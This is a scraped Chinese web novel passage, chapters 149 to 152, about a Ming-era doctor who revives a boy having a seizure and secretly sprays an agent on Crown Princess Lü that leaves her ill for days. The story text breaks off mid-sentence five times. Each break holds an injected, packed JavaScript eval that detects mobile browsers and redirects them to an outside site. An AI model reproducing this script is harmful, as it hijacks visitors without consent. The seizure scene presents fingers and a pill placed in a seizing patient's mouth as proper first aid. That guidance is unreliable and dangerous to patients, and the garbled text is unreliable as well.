岸上的人全都面无人色。
一个老者颤抖着手指向河中一处晃荡的浅涡:“水……水鬼!刚在那水面还冒了个黑影子!是他!是他拖住了娃的脚!把他往水里拉!”
这话引得更多人尖叫后退。
众人眼睁睁看着那孩子在生死边缘翻滚,却无人敢近前半步。
恐惧压倒了一切。
“夫君!”徐妙云攥紧了马淳的衣袖。
马淳目光锐利,看穿表象。
他没有丝毫犹豫。
“娘子你待在此处,别动!”他嘱咐妻子,一步跨出。
他分开仍在向后挤退的人流,几个起落便冲到了那剧烈抽搐的“水鬼”身边。
“神医!别去啊!”有好心人惊恐大喊。
“那是鬼!马神医小心!”
马淳置若罔闻。
他半跪下来,眼神冷静。
没有去碰对方狂乱扭动的四肢躯干。
他出手如电。
一手迅捷地穿过对方疯狂乱撞、后仰的头颈空隙。
五指精准稳定地托住了少年的后颈和后脑勺,不让他乱磕地面造成二次伤害。
另一手,从怀中飞快抽出一个随身携带的素色布帕。
没有丝毫嫌弃,立刻用布帕包裹住自己的手指。
手指迅捷探入少年那因剧烈痉挛而牙关紧咬、不断涌出白沫血水的口腔。
指尖飞快拨动。
迅速将那几乎完全堵塞咽喉的黏稠分泌物清理出来。
嗬——咳!呃!
少年喉中发出一阵响亮的、像是被堵死的管子骤然畅通的声音。
一口带泡沫的浊气猛地喷出。
同时伴随着大量的黏液和少许血丝。
阻塞的呼吸通道被稍稍打开。
接着,马淳将裹着布帕的手指留在少年齿间,形成一个保护性的间隔。
避免他在痉挛中无意识地咬断自己的舌头。
少年青紫发灰的脸色,随着这动作,以肉眼可见的速度缓和了一丝。
虽然身体仍在剧烈抽搐,但那撕心裂肺的窒息感减轻了。
马淳抬起头,目光扫过惊魂未定的人群,声音沉稳有力:
“取个圆枕或卷起的布团来!垫在他颈下!”
人群中无人响应,都还陷在“鬼怪”的惊惧中。
一个大胆的货郎离得最近,闻言下意识地卸下自己挑担上卷货物用的厚厚粗布筒。
“这……这行不行?”
他不敢靠近,远远递出。
“可以!”马淳点头。
货郎一咬牙,闭着眼睛冲到马淳身侧,将布卷塞过来,又飞也似地逃开。
马淳接过,看准少年僵直后仰颈部一个间歇放松的瞬间。
迅速调整手势,将布卷稳稳垫入他颈项与地面之间。
保持气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920083|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道呈自然微微后仰的通畅状态。
同时,他沉稳的左手掌始终稳稳地托护着少年的头颈肩部。
以自身的力量和巧劲化解着那可怕的抽搐力,避免颈部损伤。
口中低喝道:“不是什么水鬼!是急症风痫!”
这四个字如同重锤砸下。
“风……风痫?”
“神医说是急症?”
“不是水鬼拉人?”
人群的恐惧被疑惑取代,喧哗声更大了些,但不再是单纯的尖叫。
“对!急症发作!与鬼神无关!”马淳的声音斩钉截铁,带着不容置疑的力量,迅速抚平了慌乱。
他目光扫过周围,沉声指挥:“有谁带了安宫牛黄丸、至宝丹、或者紫雪丹、琥珀抱龙丸之类的开窍镇惊药?拿一粒来!快!”
货郎慌忙在自己担子里的杂物中翻找。
旁边一个管家模样的中年男子犹豫一下,开口道:“小人……小人身上恰好有粒安宫牛黄丸!老家带来的救命药!”
他飞快从怀中贴身取出一个拇指大的蜡封小圆盒。
“拿来!”马淳没有废话。
管家靠近一些,将药丸倒出,放在手心递过去。
马淳没有分心去接。
他眼神专注如扫描仪,飞快检查少年全身。
四肢仍在痉挛,但抽动的幅度似乎随着初步处置,开始有了极轻微的减弱趋势。
瞳孔对光反射迟钝依旧,但紫绀稍退。
口中白沫分泌减少。
马淳知道情况稍缓,但凶险依旧。
这种程度的持续痉挛,极易耗竭生命元气,甚至留下永久损伤。
他必须稳住局面。
药来了。
他单手接过那粒乌黑圆润、异香扑鼻的药丸。
毫不犹豫捏碎蜡封。
迅速用布帕一角捏起药丸。
另一手再次精准、迅速地探入少年口中。
将那粒珍贵药丸稳稳压在他舌下最深处,接近舌根的地方。
此处血运丰富,利于药力迅速吸收起效。
同时避免药丸被痉挛的咽喉过早吞咽或误吸入气管。
整个过程一气呵成,精准、稳定,没有半分迟疑和偏差。
完成这一切,他维持着保护的姿势。
左手护颈稳头,口中布帕防咬舌,右手轻搭少年脉门,凝神细察。
等待药力化开。
时间仿佛凝固……
第149章不能弄死吕氏!但可让她生不如死
周围上百人鸦雀无声,无数道目光都死死盯在那瘦小抽搐的身影和马淳不动如山的背影上。
一分……
两分……
徐妙云在人群外围,护着小腹,目光紧紧锁定丈夫,满是关切与信任。
马淳指下,少年那狂乱如奔马的心脉逐渐沉下,冲击力不再那么骇人。
身体剧烈抽搐的频次开始降低。
幅度也开始变小。
僵硬板直如反弓的肢体,一点一点地软了下来。
喉咙里刺耳的“嗬嗬”声平息,转为粗重但平稳的喘息。
上翻的瞳孔缓缓转动恢复原位,眼神虽然呆滞茫然,但不再是空洞的死白。
口唇的紫绀完全褪去,只留下失血的苍白,不再流涎。
少年紧绷如铁的身体,终于在马淳手下彻底松懈下来。
像一滩软泥,躺在地上,只有胸口随着呼吸微弱起伏。
那双茫然的眼睛,缓慢地眨了眨,透出一丝劫后余生的虚弱和对光明的困惑。
“活了…………真的缓过来了…………”
“老天爷,药效这么快!”
“马神医!真乃神技!”
“我亲眼所见!从鬼门关拽回来的!”
“刚才那样不是水鬼?神医说是急症?”
人群炸开了锅!
不再是惊恐的尖叫,而是震天的惊呼、赞叹和不可置信的议论!
那些刚刚还恐惧“水鬼”的人,此刻都伸长脖子往前挤,想看得更真切些。
货郎激动地喊:“神了!就一丸药下去!真就镇住了!”
管家也啧啧称奇:“安宫牛黄丸!我道是救命药,可也没见过这般立竿见影的!”
一个老妇人合掌念佛:“阿弥陀佛!马神医真是活菩萨转世!能治鬼病的活菩萨!”
“对对对!不是鬼都让他拽回来了!真是神医降世!”
各种声音混杂着惊叹和敬畏,如同浪潮般涌向河堤中心。
所有人都明白,刚才那等骇人景象绝非寻常病痛。
若非神医在此并出手,这少年必死无疑,而那“水鬼”的传说更将越传越凶。
马淳收回搭脉的手,检查了一下少年的瞳孔、呼吸和心跳。
确认已暂时脱离险境,生命体征平稳。
他这才缓缓将布帕从少年齿间取出。
布帕一角沾着些许血迹和污浊。
他随手收起,放入怀中特定囊袋。
然后小心抽出了垫在少年颈下的布卷。
少年似乎耗尽了所有力气,虚弱地闭上眼,沉沉昏睡过去。
呼吸均匀。
马淳站起身,长长吁了口气,眉宇间的凝重这才彻底散开。
额角有细微的汗迹。
刚才看似平淡的几个动作,实在耗神耗力。
“他已无大碍,只是元气大伤,须静养调理。”
他对旁边那心有余悸的货郎和管家说道。
“劳驾哪位大哥,帮忙找副担架或木板,送他去安稳地方休息,最好能请个大夫善后。”货郎和管家忙不迭应下。
管家更是直接指挥随从立刻去办。
此时,徐妙云才分开人群走了过来。
“夫君。”她走到近前,眼中全是如释重负的欣悦。
“没事了。”马淳温言道。
徐妙云看向地上昏睡的少年,眼中流露出一丝怜悯。
又抬头望向丈夫,目光盈盈。
马淳被她看得略有些不自在。
人群中爆发出更大的欢呼和赞叹。
“神医!”
“神医显灵了!”
“能治鬼的神医啊!”
声音如同滚雷。
马淳无奈地笑了笑,对着人群拱手示意,然后轻轻牵起妻子的手。
“走了。”他低声说。
夫妻俩在众人崇敬的目光中,沿着来路,踏着清晨的微光,慢慢往回走。
河风轻柔,吹散方才的肃杀。
岸边恢复了平静,但“马神医河畔祛水鬼”的传奇,已在此刻悄然播散开去。
徐妙云依偎在丈夫身侧,柔声道:“夫君今日,又在他们心中添一笔了。”
马淳目光扫过远处巷口,几个探头探脑迅速缩回的人影,淡淡道:
“积善也好,传奇也罢,能救人便是。只是这‘鬼魅’,倒是一次比一次‘用心’了。”
……
这天马淳收拾了一下,就准备进宫去。
一方面是看看自己的姐姐,另一方面当然是要整治一下吕氏。
自己是大夫,但不是懦夫,总不能让你吕氏一直进攻,而我不还手。
直接弄死这违背自己作为大夫的医德,但让吕氏痛苦,并且知道不能来惹自己,这很容易做到。
“娘子宽心,不过是探望姐姐,顺便看看皇孙。”马淳对徐妙云道。
却没想到徐妙云知道他的心思,甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920084|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至小声说道:“直接弄死会坏了咱们的医德,但也不能让她好受。”
马淳闻言,哈哈一笑:“知我者,娘子也!!”
皇城南门在望,门禁森严。
守将认得他,验过腰牌便恭敬放行。
坤宁宫。
“淳弟来了。”马皇后招呼宫女看座奉茶。
姐弟间寒暄几句,说的都是些府中琐事、胎儿安稳。
马淳眼光不着痕迹地扫过窗外,一道匆匆而过的女官身影印在薄薄的窗纸上,又迅速消失。
他放下茶盏,声音不高不低:“听闻雄英殿下近来精神见好?我既入宫,理当过去瞧瞧,心里也踏实些。”
马皇后笑道:“也好。那孩子也老是嚷着要见他的舅爷呢!”
她吩咐身旁得力的内侍:“引徐国公过去殿下那边。”
皇孙朱雄英居的偏殿里。
八岁的朱雄英精气神很好,刚刚下学,此刻还在临帖。
听说舅爷来了,放下笔,小跑过来迎接。
“外甥孙参见舅爷!”小家伙很有礼貌。
马淳上前去,“诶呀,小殿下,不用如此多礼,我就大你十几岁,把我都叫老了。”
周围宫女们闻言都笑出声。
这位国公爷倒是非常的平易近人。
“舅爷,你给我带什么东西来了没?”朱雄英问。
马淳从药箱里面给他拿出一袋从系统里面兑换的水果软糖。
“糖?”朱雄英笑得眼睛都眯成了一条线。
“吕姨娘一直都不让吃呢。”
马淳道:“少吃可以,不可贪多!”
说罢给他开了一颗。
细糯软甜的菠萝味道,让小皇孙眼前一亮。
“真甜!真香!真好吃!!”朱雄英嘿嘿笑起来。
“少吃!这袋至少吃十天,十天后我来检查,如果你多吃,那可就再也没有了。”
朱雄英连连点头。
“好!让舅爷给你把把脉,看恢复得如何?”马淳屏息凝神,指腹搭在朱雄英手腕寸关尺上。
把完脉后,马淳心中欣喜。
脉象平稳。
这是大好的症状啊。
便在这时殿外传来笑声,“哟!国舅爷来了啊!”
马淳闻声,站起身来,看着款款而来的吕氏。
果然!
她是最关心朱雄英的。
毕竟朱雄英的生死,关乎着她们母子的前程命运……
第150章喷点药水吕氏就生不如死!!
“参见太子妃!”马淳不露声色的行了个礼。
朱雄英也行了个礼。
吕氏装模作样得让两个人不要多礼,“国舅爷,雄英近来恢复得还不错吧?”
马淳拱手道:“娘娘放心。殿下脉象平稳,只要再调养几日,便可恢复。且有臣在,必保殿下无虞。”
马淳这就是故意伤口上撒盐。
果然他这句话一说出来,就看到吕氏脸皮不由自主的抽了一下。
不过她收敛得很快,“徐国公如此说,本宫这颗心才算落了地。”
她目光投向孩子,语气轻柔,“陛下和太子都记挂着呢。”
马淳声音谦恭:“娘娘关怀备至,是殿下之福。”
接着马淳又留下些嘱咐小儿养护饮食的闲话。
吕氏越听越不耐烦,目光扫过侍候的宫人,“殿内暖和,怎不关严了窗户?由着小主子受风么!乳母是愈发放肆不当心了!”
她嘴上发落着下人,却是迫不及待地俯下身去,脸凑得极近,鼻尖几乎要碰到朱雄英的额发。
她要看清他脸上哪怕一丝潮红、额头是否起热、呼吸。
太近了。
马淳眼底掠过一道微不可察的冷光。
垂在身侧的右手,宽大朝服袖口微微一拢。
袖内,那冰冷精巧的铜质喷壶,被他用指腹稳稳托住底部。
无声无息,手指隔着薄薄的夏布内衬,对准壶身上一个几乎看不见的凸点,沉静而迅速地按压下去。
“噗”的一声轻响,微不可闻。
比春日柳絮落地还要轻微。
一道几乎凝不成雾气,撞开帘帐,精准地溅落在吕氏俯身时宽大的袖口上。
只一瞬。
雾气没有留下任何肉眼可见的痕迹。
吕氏丝毫未觉,她侧过头,目光终于落回一直静默侍立的马淳身上。
“国公辛苦了。”吕氏语气舒缓了几分。
马淳恭敬垂首:“殿下吉人自有天相。娘娘思虑周全,是殿下之福。若无吩咐,微臣先行告退。”
吕氏颔首,“好,国公自去便是。”
马淳依礼拜别,躬身退出暖阁。
……
当夜东宫。
吕氏独自坐在宽大的紫檀木书案后,眼前反复重现白天偏殿里的情形。
马淳那蹙眉的样子,他究竟是无心之失,还是刻意试探?
这个念头如跗骨之蛆,搅得她寝食难安。
正拧眉沉思,右臂外侧的皮肤忽然传来一阵细密的、若有似无的异样感。
像是无数细小的冰针在肌肤底层同时刺出,带着一丝金属质的阴冷。
并不痛,却猛地激起一片寒颤。
吕氏下意识伸手去挠,指尖刚触到那片云锦冰凉的布料表面,一阵突如其来的晕眩猛地攫住了她!
仿佛脚下的地砖骤然被人抽走半边,视野里的烛火霎时摇晃模糊,化作无数跳动的重影。
天旋地转!
她慌忙用手死死撑住桌沿,冰冷的硬木触感直透掌心,却压不住那股翻腾欲呕的恶心感,从胃底直冲咽喉。
口舌发干,唾液似乎瞬间消失,舌根深处却泛起一阵古怪的微腥。
“呃……”一声微弱的干呕被强行压回喉咙深处。
她死死咬住下唇,唇瓣瞬间失了血色。
“娘娘?”守在外间的贴身女官敏娘听见细微动静,掀帘探头,敏锐地察觉到主子异样,“您脸色不对!可是哪里不适?”
吕氏深深吸了一口气,强压下翻腾的脏腑和眼前乱舞的重影。
她稳住身形,松开撑着桌面的手,不能示弱!
更不能在此时传出病弱的风声,尤其是在马淳刚刚“关切”过朱雄英的微妙时刻!
“无……无妨。”她故作轻松地挥挥手,“许是午后吹了点风,有些头晕。想是最近忧心雄英,未曾安眠之故。”
她扶着桌沿缓慢站起,脚步有些不稳地向寝榻挪去:“备些热汤……温养些的。不必惊动旁人,更不必扰了尚药局!本宫歇歇……歇歇便好。”
最后几个字说得有些吃力。
那阵眩晕稍退,却并未消失。
躺在柔软华贵的填漆彩绘大床上,锦被簇拥,吕氏却浑身发冷。
一股莫名的恐惧攫住了她,比怀疑马淳时更加冰冷彻骨。
这是怎么回事?怎么突然就……
她强迫自己不去想,闭上眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927054|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>夜更深。
小半个时辰过去,敏娘小心翼翼地端着一碗温热的燕窝羹进来。
骇然发现自家主子正无意识地抓紧了锦被,身体蜷缩着,肩膀在锦缎下轻轻颤抖。
借着昏黄的烛光,敏娘惊恐地看到吕氏露在锦被外的手腕内侧皮肤上,隐约浮起了一层细密的红点。
“娘娘!”敏娘手中的托盘哐当一声掉在地上,“您的身子……”
“别嚷!”吕氏猛地侧过脸,她压着嗓子低喝,“扶本宫……扶本宫坐起来。”
她艰难地喘息着,那股眩晕感如同潮汐再次涌来,伴随着一股强烈的烦躁,烧灼着她的神经,让她几乎失控地想推开眼前所有人。
“给本宫再拿床被子……冷!”
牙齿不受控制地微微叩击。
敏娘吓得魂飞魄散,连滚爬地抱来两床厚厚的丝绵被,层层裹住吕氏。
触手冰凉!
吕氏蜷在里面,抖得被子也发出悉悉索索的响。
她再顾不得主子先前吩咐,带着哭腔急道:“不行啊娘娘!您这情形太险!奴婢、奴婢这就去叫尚药……”
“站住!”吕氏厉声喝止,“你这蠢婢!想把事情嚷得阖宫皆知不成?雄英尚未好利索!你嫌本宫麻烦不够大?是存心要坏了本宫的名声,让满宫上下觉得我们母子皆是药渣缠身的病秧子吗!”
她猛地抽出一只手,指向外间,“滚出去!谁也别进来!守着门!天亮再说!”
一口气吼完,她颓然倒回厚厚的锦被里,胸口剧烈起伏,脸色灰败得吓人。
敏娘被她陡然爆发的气势骇住,不敢再言,哆嗦着应了声“是”。
手忙脚乱地收拾了地上的狼藉,逃也似地退了出去,轻轻合拢殿门。
重重帘帷隔绝了外面。
不知煎熬了多久,外间隐约传来敏娘低低的声音:“娘娘……尚药局的张医丞来了……在门外候着……”
“不见!”吕氏想也不想,低哑咆哮。“让他们都滚!谁敢踏进来……敢泄露一个字……”
威胁的话语被一股反胃的酸涩打断,“呕……”
内殿终于彻底陷入了死寂。
……
第151章吕氏被折磨地上吐下泻!!
天色渐晚,马淳回到医馆。
他推开门,徐妙云正坐在灯下分拣草药,听到门响,她抬起头。
“回来了?”她问,声音带着关切。
“嗯。”马淳应声,解下披风挂好。
他走到桌边,端起妻子为他倒好的温水喝了一口。
徐妙云认真看着他。“宫里情形如何?”
马淳放下水杯,嘴角勾起一抹玩味的弧度。“雄英很好。吕氏也‘很好’。”
他特意在“很好”二字上加了重音。
徐妙云眼中掠过一丝了然。
她没问细节,只安静等着下文。
马淳声音低沉了几分,“我用了点东西。”
徐妙云微微颔首,“让她知道滋味了?”
马淳笑了,“一点点小回礼罢了。一种喷剂,接触皮肤后生效。”
他停顿了一下,“症状嘛,主要是强烈的头晕眼花。浑身发冷。还会起些小红点。可能有点恶心反胃。”
“死不了人?”徐妙云确认道。
马淳摇头。“绝对死不了。药效会持续几天,慢慢消退。不会留下病根。但难受是真的。”
他强调,“就是让她体会一下,当个病人有多不痛快。尤其是被无缘无故‘病’了的滋味。”
徐妙云唇角缓缓弯起。
“是该。”她轻轻地说,“让她自己尝尝这滋味也好。省得总觉得拿捏别人性命是件容易事。”
她语气平淡,话里的分量却很重。
马淳注视着她。
他知道她完全懂自己的意思。
吕氏一次次用下毒、装病来算计,手段阴毒。
这次的药,就是要她亲身感受那份痛苦和恐慌,以彼之道还施彼身。
“放心。”马淳声音转柔,“分寸我掌握着。她只会受点小小的折磨。还不了嘴,也找不出根源。”
“饿了吧?”徐妙云收拾着药台,“锅里热着汤。”
“还真有点。”马淳揉了揉肚子,气“折腾一圈,肚子都空了。”
两人相视一笑。
……
此时此刻的东宫内殿,却无半分安宁。
厚重的锦被下,吕氏抖得如同筛糠。
寒意深入骨髓,一层被子叠着一层也无济于事。
殿内温暖如春,炭火烧得旺,她却只觉得置身冰窖。
那阵骇人的眩晕感刚刚过去片刻,眼前不再天旋地转,但视物仍有重影。
她强撑着想起身喝水,只是微微抬头,那恶心的感觉立刻又汹汹翻涌上来。
“呃……”她猛地捂住嘴,把冲上喉头的酸水死死压下去。
干呕让她的喉咙火辣辣地痛。
手腕处传来阵阵刺痒,她烦躁地隔着丝质寝衣抓挠着。
想起刚才惊鸿一瞥间,看到自己手腕内侧冒出的一颗颗细小红点,一阵无名邪火又烧起来。
一定是马淳!
一定是他在坤宁宫偏殿搞的鬼!
那会子离得近的就是他!
可她没有任何证据。
当时殿内宫人不少,谁也没看见异样。
那阵若有似无的凉意?
那甚至都不曾算个东西!
没人会信。
她若强指马淳行凶,只会徒惹皇帝和太子厌弃,显得她无理取闹,容不下皇后弟弟,更容不下救活朱雄英的大功臣。
她从未如此窝囊过。明明心里知道是谁,却只能打落牙齿和血吞。
“敏娘……”她嘶哑着嗓子唤。
守在外间不敢合眼的敏娘立刻快步进来,“娘娘?”
“水……”吕氏每吐一个字都觉得费力。
敏娘连忙小心地扶起她一点,用玉杯小心喂她喝了几口温水。
吕氏勉强吞咽下去,胃里却翻腾得更厉害。
她猛地推开杯子。
“滚!让她们都滚出去!别在跟前碍眼!”她低吼着。
她恨透了自己这副虚弱的模样,更恨有人看着。
敏娘吓得脸色发白,连忙应声退下,将外间侍立的几个宫女一并挥手驱离。
沉重的殿门再次合拢。
又一阵眩晕毫无预兆地袭来。
吕氏眼前发黑,仿佛整个人被抛向黑暗的深空。
耳边嗡嗡作响,像有一万只蚊虫在钻她的脑子。
她闷哼一声,倒在枕上,冷汗浸透了中衣。
这就是病倒的滋味?
如此狼狈无力,生死仿佛都攥在别人手里。
平日里的尊贵威仪荡然无存,只剩下挣扎和丑陋。
她咬着下唇,恨意像毒蛇缠绕着心脏。
马淳……
徐妙云……
这桩桩件件,她记下了!
翌日,吕氏才在短暂的昏沉中睁眼。
昨夜如同炼狱,反复的眩晕、恶寒与恶心像钝刀子割肉。
她试着动了动。
身体的僵硬和沉重并未完全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927055|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
消散,仿佛被抽干了所有力气。
腕间的刺痒倒是减轻了,低头看去,那一层细小的红疹子依然清晰可见。
“娘娘,可要传膳?尚药局……”敏娘守了一夜,见她醒来,小心翼翼地问。
“闭嘴!”吕氏厉声打断,声音比昨天更加嘶哑,“不许再提尚药局!本宫……本宫只是没睡好,染了风寒!让她们准备清淡汤水便是。再敢多嘴……”
她眼神狠厉,敏娘吓得噤若寒蝉,连忙点头称是,再不敢提请御医之事。
接下来整整一日,吕氏将自己关在殿内,谁都不见。
勉强灌下去的几口汤粥,没过多久就尽数呕了出来。
那种身体失控的虚弱感和挥之不去的头晕,让她烦躁欲狂。
宫人们窃窃私语,都知道太子妃娘娘“风寒”严重,闭门谢客,精神头也很差。
太子朱标前来探望,也被她以“恐过了病气给殿下”为由婉拒在门外。
看着窗外灰蒙蒙的天空,吕氏的心也沉在谷底。
她真切体会到什么叫“生不如死”。
身体是**的本钱,她彻底信了。
这马淳,比她想象的还要狠!
不用刀,却比刀更让她难受。
……
医馆。
徐妙云轻轻放下刚缝好的小衣,抬眼看他,“宫里…动静如何?”
她问得含蓄。
马淳知道她在问吕氏的情况。
他眼底闪过一丝了然的笑意。
“刚得的消息,”他语气平淡得像在说天气,“太子妃娘娘染了风寒。病得不轻,拒见御医,也见不得风。”
徐妙云手上动作微微一停,随即恢复了平静。
她拿起另一块柔软的棉布,细细折叠。
“风寒?倒是个体贴病家的好说辞。”她轻声说着。
马淳看着妻子的侧脸,“病痛缠身,自然能解病苦。这滋味,她算刻骨铭心了。”
他走到妻子身边,手掌轻轻落在她微隆的小腹上,动作轻柔至极。“往后,无论谁想再动心思,也得掂量掂量惹恼一个神医的下场。”
感受到掌心下生命的律动,她抬手,覆上丈夫的手背。
“医者之心,救死扶伤是本分。”她语气轻缓,“但也需雷霆手段,守护这方寸安宁。”
她微微侧头,眼波温柔地看向马淳,“护住该护的人。”
……
第152章妇科病!在古代简直难以启齿!!
东宫寝殿内,吕氏歪在厚厚的锦被中,脸色灰败。
一连几日的“风寒”将她折腾得形销骨立。
那蚀骨的眩晕稍减,身体却虚浮无力。
手腕内侧的红点虽消了些,但恶心感仍如影随形。
贴身女官敏娘捧着温热的药汤,屏息立在几步开外。
“娘娘,您多少用点汤药……身子要紧啊。”
吕氏喉头烦躁地滚动,猛地挥手:“拿走!整日灌些苦汁子,半点不见效!咳……咳咳……”
一阵呛咳牵动,眼前又是金星乱冒。
敏娘吓得赶紧放下药盏,上前欲扶。
“滚开!”吕氏用力推搡,“本宫说了多少遍,不许传御医!不准声张!你是聋了不成?”
她恨透了这身不由己的病态,更恨那让她坠入如此境地的马淳。
可眼下,她只能打落牙齿和血吞。
这窝囊的“风寒”,她只能自己硬抗。
将所有人斥退,厚重的殿门合上。
吕氏蜷在层层锦绣之中,身体阵阵发冷,心头却像燃着一把无名火。
她死死咬住嘴唇。
这笔账,她记下了。
……
小青村,医馆。
徐妙云坐在诊案后,一手执笔,一手翻动眼前的药典,神态专注。
腹部的隆起被宽大的衣衫遮掩,只显得愈发沉静。
前厅空无一人,只有药童在内堂安静地拣选药材。
门帘一挑,一道人影期期艾艾地挪了进来。
是个约莫三十出头的妇人。
穿着半旧的粗布衣裳,身形佝偻着,双手紧紧攥在身前,眼神躲闪,脚尖对着门槛,似乎随时准备退出去。
“马……马夫人在吗?”妇人声音细若蚊蚋,目光飘忽不定,只飞快地瞟了徐妙云一眼就垂下头。
徐妙云闻声抬眼,温声道:“我就是。这位大嫂,哪里不舒服?”
妇人像受惊的兔子,浑身一颤,头埋得更低了。
手指死死揪住衣角,“我……我……”
嘴唇哆嗦着,一个字也说不出来。
徐妙云放下笔,看着她那几乎要把自己缩进地里的窘迫模样,心中已了然几分。
这种反应,她并非第一次见。
她声音放得更温和,循循善诱:“大嫂,请坐。来这儿就是看病的,医者面前没什么不能说的。你慢慢讲,哪里难受?”
妇人被她温软的声音安抚了一瞬,紧绷的肩膀微微放松。
她抬起眼,飞快地偷看了一眼徐妙云平静而善意的面容,仿佛抓到了救命稻草。
“马夫人……我……”她吸了口气,像是鼓足了天大的勇气。
可话到嘴边,强烈的羞耻感如同巨石,瞬间又把她压了回去。
她难堪地别开脸,目光死死盯着地面,仿佛地上有缝能让她钻进去。
内心激烈的挣扎让她额上都渗出了细汗。
徐妙云耐心地等待着。
片刻沉寂后,妇人猛地抬起苍白的脸。
过了许久。
徐妙云轻轻叹了口气。
她站起身,绕过诊案:“大嫂。你既然能找到我这儿来,是因为知道这儿有位女大夫。是不是?”
妇人下意识地用力点头。
“既是如此。”徐妙云微微提高了些音量,“我便是这女大夫。你一踏进这道门,便是信我能替你诊治。”
“若你对着一个女大夫,都不敢说出那难言之隐,那你今日踏入这医馆的门,又是何苦呢?”这话像根针,轻轻刺破了妇人内心那层厚厚的壁垒。
妇人脸上的血色瞬间褪尽。
随即,一股难以言喻的委屈和痛苦汹涌而上。
“哇——”长久积压的恐惧、羞耻、还有那难忍的痛楚瞬间决堤。
妇人猛地捂住脸,爆发出一声撕心裂肺的大哭。
她佝偻的身体剧烈地颤抖着,哭声压抑又绝望,充满了无助。“我说……我说……马夫人……我对不住……我……我难受啊……下面……那里……又痒……又疼……像有小刀刮……像有火在烧……火辣辣的……还有……东西……味道难闻……白带……很多……像豆腐渣……痒得钻心……夜里抓得……抓破皮了……没脸说……没脸活了……”
她语无伦次,一边说一边捶打着自己的腿,泣不成声。
徐妙云听着她断断续续的描述,眉头微蹙。
她心中有了初步的判断。
徐妙云伸手轻轻按住妇人颤抖的肩膀,安抚地拍了拍。“好了,好了,不哭了。我知道了,我都知道了。”
她扶起那瘫软的妇人。“跟我来内室,我仔细替你看看。这病症虽然令人不适,但能治。放宽心。”
妇人抬起泪眼婆娑的脸,像是抓住了最后一根浮木。
她慌乱地点着头。
徐妙云将她带入里间的诊察室。
待妇人情绪稍稳,徐妙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931193|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云用屏风隔出一方私密空间。
“躺下吧,放松些。”徐妙云洗过手,戴上棉布指套,语气温和而专业。
她动作轻柔,示意妇人褪下部分衣物。
妇人脸色依旧羞红,但比方才坦然了许多。
她闭着眼,身体僵硬地配合着。
徐妙云仔细为她做了检查。
内里的景象果然印证了猜测。
“……确是湿热下注,引发阴部湿疹,伴有明显的炎症。”徐妙云看完,一边摘下手套,一边对妇人解释。
妇人紧张地望着她:“马夫人……那……”
徐妙云给了她一个安抚的笑容。“能治。不是什么绝症。”
她走到外间药柜前,打开一个靠下的抽屉。
从里面小心取出一个青瓷小罐和一个靛蓝布包。
回到妇人身边。
“这青罐里的药膏,每晚净身后薄涂在患处。”徐妙云将药膏递给妇人。“这布包里是配好的草药。”
她又拿起布包,“每日取一包,用大锅煮沸半个时辰,然后滤出药汤。”
她顿了顿,认真道:“那药汤放至温热不烫手时,坐浴其中一刻钟。切记,务必要保持清洁。”
妇人双手接过药膏和布包,如同捧着救命的圣物。
眼眶又湿了。“马夫人……多谢……多谢您……”
她哽咽着,又想下跪。
徐妙云眼疾手快地托住她。
“治病救人是本分。不必如此。”
